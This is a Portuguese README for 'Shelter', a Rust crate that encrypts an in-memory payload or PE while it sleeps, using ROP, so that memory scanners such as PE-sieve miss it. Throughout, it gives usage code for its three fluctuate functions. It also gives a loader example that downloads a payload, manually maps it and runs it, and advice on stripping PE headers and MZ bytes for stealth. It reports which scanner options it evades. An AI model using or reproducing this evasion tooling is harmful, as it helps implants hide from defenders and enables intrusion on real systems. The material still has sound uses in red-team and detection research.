
Obfuscação de sono baseada em ROP para evadir scanners de memória
Shelter é uma técnica de ofuscação de sono completamente instrumentalizada que permite criptografar totalmente seu payload na memória, fazendo uso extensivo de ROP.
Este crate oferece as seguintes características:
Importe este crate em seu projeto adicionando a seguinte linha ao seu cargo.toml:
[dependencies]
shelter = "=0.1.2"
Em seguida, compile seu projeto no modo --release.
A funcionalidade principal deste crate foi encapsulada em três funções:
fluctuate() permite criptografar a região de memória atual ou todo o PE. Esta função requer a presença dos bytes MZ do PE para recuperar dinamicamente seu endereço base.fluctuate_from_address() criptografa completamente o PE. Esta função espera como parâmetro de entrada o endereço base do PE.fluctuate_from_pattern() também criptografa completamente o PE. Esta função espera como parâmetro de entrada um conjunto personalizado de dois bytes para usar na determinação do endereço base do PE. Esses bytes mágicos personalizados substituem o padrão clássico MZ.Sempre que todo o PE é criptografado, as proteções de memória das seções originais são armazenadas na heap para serem restauradas posteriormente.
Shelter usa NtWaitForSingleObject para dormir. Além de indicar quantos segundos você deseja dormir, você também pode passar um handle de evento e sinalizá-lo a qualquer momento para retornar antes do tempo limite expirar (usando SetEvent, por exemplo). Leve em consideração que, se todo o seu payload estiver criptografado (que é o objetivo, suponho), você precisará de uma maneira alternativa de sinalizar o evento caso tenha dormido indefinidamente.
A função espera os seguintes parâmetros:
true requer que os bytes MZ estejam presentes na memória.None, o tempo limite será infinito, o que significa que a execução não retornará até que o evento passado para NtWaitForSingleObject seja sinalizado.None. O programa ficará travado se você definir este parâmetro e o tempo limite como None.let time_to_sleep = Some(10); // Dormir por 10 segundos
let _ = shelter::fluctuate(false, time_to_sleep, None); // Criptografar apenas a região de memória atual
let time_to_sleep = Some(10); // Dormir por 10 segundos
let _ = shelter::fluctuate(true, time_to_sleep, None); // Criptografar todo o PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Dormir indefinidamente
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Criptografar todo o PE até que o evento seja sinalizado
A função espera os seguintes parâmetros:
None, o tempo limite será infinito, o que significa que a execução não retornará até que o evento passado para NtWaitForSingleObject seja sinalizado.None. O programa ficará travado se você definir este parâmetro e o tempo limite como None.Uma maneira de usar esta função seria mapear manualmente nosso payload com Dinvoke_rs. Dessa forma, o loader pode enviar ao payload seu próprio endereço base, para que então o payload possa usá-lo para se ofuscar sempre que necessário. Isso permite que o loader remova com segurança os cabeçalhos do PE para alcançar um certo nível de discrição.
Exemplo de loader:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Exemplo de payload:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Dormir por 10 segundos
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Criptografar todo o PE a partir deste endereço base específico
...
}
A função espera os seguintes parâmetros:
None, o tempo limite será infinito, o que significa que a execução não retornará até que o evento passado para NtWaitForSingleObject seja sinalizado.None. O programa ficará travado se você definir este parâmetro e o tempo limite como None.[u8;2] contendo bytes mágicos personalizados para procurar a fim de obter o endereço base do PE.O objetivo de criar esta função é permitir que o loader remova o cabeçalho do PE e outras assinaturas, incluindo os bytes MZ clássicos. Dessa forma, esses bytes podem ser substituídos por um padrão personalizado que o Shelter irá procurar para recuperar o endereço base do PE.
let time_to_sleep = Some(10); // Dormir por 10 segundos
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Criptografar todo o PE usando padrão personalizado como bytes mágicos
Para testar a implementação da técnica, foi utilizado principalmente o PE-sieve. Por padrão, o PE-sieve procura por implantes dentro de regiões de memória executáveis, o que significa que mesmo ofuscar exclusivamente a região de memória atual (.text) já é suficiente para evitar detecções:

Observe que, como estamos usando Unwinder, a pilha de chamadas é falsificada e, portanto, a flag /threads também não detecta a dll mapeada.
Agora, o PE-sieve permite inspecionar regiões de memória não executáveis também usando a flag /data. De acordo com a documentação oficial da ferramenta, esta flag configurada como always pode "produzir muitos ruídos/falsos positivos". Apesar disso, decidimos usá-la para verificar a eficácia da capacidade de criptografia total do PE, pois permite ocultar regiões de dados do PE que poderiam conter indicadores da presença de um implante em memória.

Como pode ser visto, na primeira imagem é mostrado como ofuscar apenas a seção .text não é suficiente quando o PE-sieve escaneia páginas de memória não executáveis, pois algumas regiões podem conter strings que revelam a presença de uma DLL (MZ, cabeçalho DOS, nomes de seção, etc.). Por outro lado, a segunda imagem mostra como esse problema pode ser resolvido usando o mecanismo de ofuscação completa do PE do Shelter. De qualquer forma, e conforme afirmado na wiki do PE-sieve, esta opção leva a toneladas de falsos positivos, pois a mera presença de strings como ".data" ou "rdata" na heap já alerta sobre um possível PE implantado, apesar de não ser capaz de despejar nada da memória (já que não há nenhum conteúdo real de PE nessa região).
Finalmente, o PE-sieve tem uma opção relativamente nova para detectar a presença de implantes ofuscados procurando por regiões de memória de alta entropia. Esta opção (/obfusc) em combinação com /data é capaz de detectar a presença do payload devido à alta entropia da região de memória que o contém (embora não possa recuperar o PE, pois está totalmente criptografado):
Embora o Shelter esteja pronto para uso e tenha sido desenvolvido com OPSEC em mente, ainda existem algumas melhorias que serão adicionadas em um futuro próximo:
BCryptEncrypt/BCryptDecrypt pela função Nt correspondente.